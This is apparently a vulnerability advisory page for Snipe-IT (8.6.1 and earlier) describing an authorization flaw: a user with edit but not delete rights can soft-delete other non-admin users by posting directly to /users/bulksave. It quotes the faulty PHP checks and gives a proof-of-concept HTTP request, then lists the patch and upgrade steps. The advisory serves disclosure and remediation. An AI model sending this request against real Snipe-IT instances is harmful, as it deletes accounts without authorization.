GHSA-vgx7-c78r-69w9: CSRF

Published Aug 28, 2026
·
Updated

Impact An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.

Attacker Model

Authenticated non-admin user with:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json {"users.view":"1","users.edit":"1"} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The attacker does not have users.delete, admin, or superuser.

Affected Component

- routes/web/users.php

- app/Http/Controllers/Users/BulkUsersController.php

- Endpoint: POST /users/bulksave

Root Cause

The UI only exposes bulk delete to users with delete permission:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php @can('delete', \App\Models\User::class) <option value="delete">...</option> <option value="merge">...</option> @endcan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The confirmation path also checks delete:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php } elseif ($request->input('bulkactions') == 'delete') { $this->authorize('delete', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

However, the destructive route is registered separately:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php Route::post('bulksave', [Users\BulkUsersController::class, 'destroy']) ->name('users/bulksave'); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

and destroy() authorizes only update:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php public function destroy(Request $request) { $this->authorize('update', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

When deleteuser=1 is present, the method reaches:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php $user->delete(); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept

1. Create a non-admin attacker account with users.view and users.edit, but not users.delete.

2. Create a harmless non-admin target user.

3. Log in as the attacker and obtain a valid CSRF token.

4. Send:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http POST /users/bulksave HTTP/1.1 Host: <snipe-it-host> Cookie: snipeitsession=<attacker-session> Content-Type: application/x-www-form-urlencoded

token=<csrf-token> ids[]=<target-user-id> deleteuser=1 statusid=<valid-status-id> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Observed response:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http HTTP/1.1 302 Found Location: http://<snipe-it-host>/users ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Patches Patched in 374f426f0c

Affected Software

1 affected componentFixes available
composer/snipe/snipe-it<=8.6.1
8.6.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/snipe/snipe-it to a version that resolves this vulnerability.

    Fixed in 8.6.2
  2. Upgrade

    Upgrade snipe-it to a version that resolves this vulnerability.

    Patch 374f426f0c

Event History

Aug 28, 2026
Advisory Published
via GitHub·05:48 PM
Data Sourced
via GitHub·05:48 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which accounts are exposed to this authorization bypass?

Authenticated non-admin accounts that have both users.view and users.edit permissions are exposed, even if they do not have users.delete, admin, or superuser privileges.

2

What does an attacker need to do to exploit the issue?

The attacker must be authenticated and able to send a direct POST request to /users/bulksave. They do not need access to the bulk-delete UI or its confirmation route.

3

What is the impact on targeted accounts?

An attacker can soft-delete another non-admin user. The provided information does not indicate that admin or superuser accounts can be targeted.

4

Does hiding the bulk-delete option in the interface prevent exploitation?

No. The UI and confirmation flow enforce users.delete, but the POST endpoint's destructive operation authorizes only update permission, allowing direct requests to bypass those interface checks.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203